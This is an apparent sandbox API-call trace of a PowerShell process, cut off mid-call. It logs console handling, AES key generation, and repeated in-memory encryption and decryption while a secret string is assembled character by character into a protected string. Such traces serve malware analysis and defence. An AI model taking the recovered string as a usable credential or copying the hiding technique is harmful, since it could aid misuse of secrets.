GetConsoleOutputCP () returned 0x1b5 [0242.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.397] GetConsoleOutputCP () returned 0x1b5 [0242.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.398] GetConsoleOutputCP () returned 0x1b5 [0242.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.398] GetConsoleOutputCP () returned 0x1b5 [0242.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.399] GetConsoleOutputCP () returned 0x1b5 [0242.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.399] GetConsoleOutputCP () returned 0x1b5 [0242.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.399] GetConsoleOutputCP () returned 0x1b5 [0242.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.400] GetConsoleOutputCP () returned 0x1b5 [0242.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.400] GetConsoleOutputCP () returned 0x1b5 [0242.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.400] GetConsoleOutputCP () returned 0x1b5 [0242.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.401] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0242.401] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.401] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255a7fc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x255a7fc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0242.402] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.402] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0242.403] EtwEventActivityIdControl () returned 0x0 [0242.404] EtwEventActivityIdControl () returned 0x0 [0242.404] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.405] EtwEventActivityIdControl () returned 0x0 [0242.405] EtwEventActivityIdControl () returned 0x0 [0242.405] EtwEventActivityIdControl () returned 0x0 [0242.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.423] EtwEventActivityIdControl () returned 0x0 [0242.424] EtwEventActivityIdControl () returned 0x0 [0242.424] EtwEventActivityIdControl () returned 0x0 [0242.426] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x373678) returned 1 [0242.429] CryptGenKey (in: hProv=0x373678, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99660) returned 1 [0242.429] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.429] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.430] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2361288, pdwDataLen=0x5a2e8c4 | out: pbData=0x2361288*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.430] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.430] EtwEventActivityIdControl () returned 0x0 [0242.430] EtwEventActivityIdControl () returned 0x0 [0242.430] EtwEventActivityIdControl () returned 0x0 [0242.431] SysStringLen (param_1="") returned 0x8 [0242.432] SysStringLen (param_1="a") returned 0x8 [0242.432] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.432] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0242.432] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0242.432] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.432] SysStringLen (param_1="ax") returned 0x8 [0242.432] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.432] SysStringLen (param_1="텕᪛媕ਬꯚ䔲辪‵") returned 0x8 [0242.432] SysStringLen (param_1="텕᪛媕ਬꯚ䔲辪‵") returned 0x8 [0242.432] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.433] SysStringLen (param_1="axi") returned 0x8 [0242.433] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.433] SysStringLen (param_1="곾릧嫻ꥮ葃ȵ䌑") returned 0x8 [0242.433] SysStringLen (param_1="곾릧嫻ꥮ葃ȵ䌑") returned 0x8 [0242.433] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.433] SysStringLen (param_1="axiV") returned 0x8 [0242.433] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.433] SysStringLen (param_1="ꗏ\⇝櫬ᔥ뇀漕⊒) returned 0x8 [0242.433] SysStringLen (param_1="ꗏ\⇝櫬ᔥ뇀漕⊒) returned 0x8 [0242.433] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.433] SysStringLen (param_1="axiVD") returned 0x8 [0242.433] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.434] SysStringLen (param_1="맏쯫竚童輝꒝") returned 0x8 [0242.434] SysStringLen (param_1="맏쯫竚童輝꒝") returned 0x8 [0242.434] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.434] SysStringLen (param_1="axiVDt") returned 0x8 [0242.434] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.434] SysStringLen (param_1="娱忴孁ἲ㔤侰ಳẉ") returned 0x8 [0242.434] SysStringLen (param_1="娱忴孁ἲ㔤侰ಳẉ") returned 0x8 [0242.434] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.434] SysStringLen (param_1="axiVDtE") returned 0x8 [0242.434] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.434] SysStringLen (param_1="횴ₘ巂䁶併떵") returned 0x8 [0242.434] SysStringLen (param_1="횴ₘ巂䁶併떵") returned 0x8 [0242.434] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.435] SysStringLen (param_1="axiVDtEP") returned 0x8 [0242.435] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.435] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ⊼) returned 0x8 [0242.435] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ⊼) returned 0x8 [0242.435] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ⊼) returned 0x8 [0242.436] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ⊼) returned 0x10 [0242.436] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.436] SysStringLen (param_1="axiVDtEPR諩䦯凯㲥焥") returned 0x10 [0242.436] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.436] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ榼圬痛힠\﫜ᣧ㭦") returned 0x10 [0242.436] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ榼圬痛힠\﫜ᣧ㭦") returned 0x10 [0242.436] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.436] SysStringLen (param_1="axiVDtEPRV諩䦯凯㲥焥") returned 0x10 [0242.436] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.437] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ몼캮쀹࡛ﺠ쌫艐聘∁) returned 0x10 [0242.437] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ몼캮쀹࡛ﺠ쌫艐聘∁) returned 0x10 [0242.437] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.437] SysStringLen (param_1="axiVDtEPRVk諩䦯凯㲥焥") returned 0x10 [0242.437] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.437] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ墼ĵﱓ⋬냉寏੆홞⋞) returned 0x10 [0242.437] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ墼ĵﱓ⋬냉寏੆홞⋞) returned 0x10 [0242.437] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.446] SysStringLen (param_1="axiVDtEPRVkj䦯凯㲥焥") returned 0x10 [0242.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.446] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ벼袦\棙뀛糴㬄孎") returned 0x10 [0242.446] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ벼袦\棙뀛糴㬄孎") returned 0x10 [0242.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="axiVDtEPRVkjP凯㲥焥") returned 0x10 [0242.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ펼뤧簒傠ꛯ뾾≖) returned 0x10 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ펼뤧簒傠ꛯ뾾≖) returned 0x10 [0242.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="axiVDtEPRVkjPj㲥焥") returned 0x10 [0242.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ뾼⦐苘鳼睻瘴⊛) returned 0x10 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ뾼⦐苘鳼睻瘴⊛) returned 0x10 [0242.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="axiVDtEPRVkjPjZ焥") returned 0x10 [0242.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ\㫛쪉⠉ꐷഌ㌞Ⱎ醞") returned 0x10 [0242.447] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ\㫛쪉⠉ꐷഌ㌞Ⱎ醞") returned 0x10 [0242.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.448] SysStringLen (param_1="axiVDtEPRVkjPjZn") returned 0x10 [0242.448] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.448] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟≈) returned 0x10 [0242.448] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟≈) returned 0x10 [0242.448] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟≈) returned 0x10 [0242.449] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟≈) returned 0x18 [0242.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.449] SysStringLen (param_1="axiVDtEPRVkjPjZncᐃཝ\ꓚ뻗铷䤬⊅) returned 0x18 [0242.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.449] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟鉈쏲縻뿥㾲贶뼻쫤∫) returned 0x18 [0242.449] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟鉈쏲縻뿥㾲贶뼻쫤∫) returned 0x18 [0242.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.449] SysStringLen (param_1="axiVDtEPRVkjPjZnc+ཝ\ꓚ뻗铷䤬⊅) returned 0x18 [0242.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.449] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟ⱈ岑\㛞ﷀ洗ཁ銳෗") returned 0x18 [0242.449] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟ⱈ岑\㛞ﷀ洗ཁ銳෗") returned 0x18 [0242.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="axiVDtEPRVkjPjZnc+f\ꓚ뻗铷䤬⊅) returned 0x18 [0242.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟Ὀ萤ꭖע迬鼵܍㞾≢) returned 0x18 [0242.450] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟Ὀ萤ꭖע迬鼵܍㞾≢) returned 0x18 [0242.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fF힤Ⲕ蕉") returned 0x18 [0242.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟롈燔퍇쟆œ島㍑쨻≧) returned 0x18 [0242.450] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟롈燔퍇쟆œ島㍑쨻≧) returned 0x18 [0242.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhⲔ蕉") returned 0x18 [0242.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.450] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟剈놃㿺맚\ꚦ") returned 0x18 [0242.451] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟剈놃㿺맚\ꚦ") returned 0x18 [0242.451] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.451] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhrⲔ蕉") returned 0x18 [0242.451] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.451] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟畈ꋑ圉⾴孕₯∹) returned 0x18 [0242.451] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟畈ꋑ圉⾴孕₯∹) returned 0x18 [0242.451] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.451] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9蕉") returned 0x18 [0242.451] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.451] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟彈슽쮣/煕緊䪺鼯⊶) returned 0x18 [0242.451] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟彈슽쮣/煕緊䪺鼯⊶) returned 0x18 [0242.451] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.451] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g") returned 0x18 [0242.451] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.452] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂≢) returned 0x18 [0242.452] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂≢) returned 0x18 [0242.452] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂≢) returned 0x18 [0242.452] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂≢) returned 0x20 [0242.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9쬂䦌㷀＆⒩녔꽰") returned 0x20 [0242.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂ॢ轃ी൪钎ࡴ殟梧⋇) returned 0x20 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂ॢ轃ी൪钎ࡴ殟梧⋇) returned 0x20 [0242.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9B䦌㷀＆⒩녔꽰") returned 0x20 [0242.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂豔銘\ᗝ毂爾") returned 0x20 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂豔銘\ᗝ毂爾") returned 0x20 [0242.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BN㷀＆⒩녔꽰") returned 0x20 [0242.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂筢엙㙆捈頻꺕鿞ꤓ⊉) returned 0x20 [0242.453] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂筢엙㙆捈頻꺕鿞ꤓ⊉) returned 0x20 [0242.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.454] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJ＆⒩녔꽰") returned 0x20 [0242.454] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.454] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂\㋝㳉㰑兢ᨃ") returned 0x20 [0242.454] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂\㋝㳉㰑兢ᨃ") returned 0x20 [0242.454] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.454] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJF⒩녔꽰") returned 0x20 [0242.454] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.454] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂奢磃Ǭ夘鯡쀴嫿꟣⊖) returned 0x20 [0242.454] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂奢磃Ǭ夘鯡쀴嫿꟣⊖) returned 0x20 [0242.454] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.454] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW녔꽰") returned 0x20 [0242.454] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.455] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂ᑢ捕᫡̣簵婪쥱ꐸ≢) returned 0x20 [0242.455] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂ᑢ捕᫡̣簵婪쥱ꐸ≢) returned 0x20 [0242.455] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.455] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0꽰") returned 0x20 [0242.455] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.455] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂罢忏酉걆Ꜧ跽⥃\쏜") returned 0x20 [0242.455] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂罢忏酉걆Ꜧ跽⥃\쏜") returned 0x20 [0242.455] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.455] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0E") returned 0x20 [0242.455] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.455] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ⊀) returned 0x20 [0242.456] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ⊀) returned 0x20 [0242.456] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ⊀) returned 0x20 [0242.456] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ䮀∘) returned 0x28 [0242.456] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.456] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY때Ѣ梒⹣㹐씬") returned 0x28 [0242.456] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.456] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ꺀ㆰ⿄Ѣ⚀䐯㞊⋥) returned 0x28 [0242.456] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ꺀ㆰ⿄Ѣ⚀䐯㞊⋥) returned 0x28 [0242.456] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY5때Ѣ梒⹣㹐씬") returned 0x28 [0242.457] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩꏒ祇쪟뾤昷팲⊱) returned 0x28 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩꏒ祇쪟뾤昷팲⊱) returned 0x28 [0242.457] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen 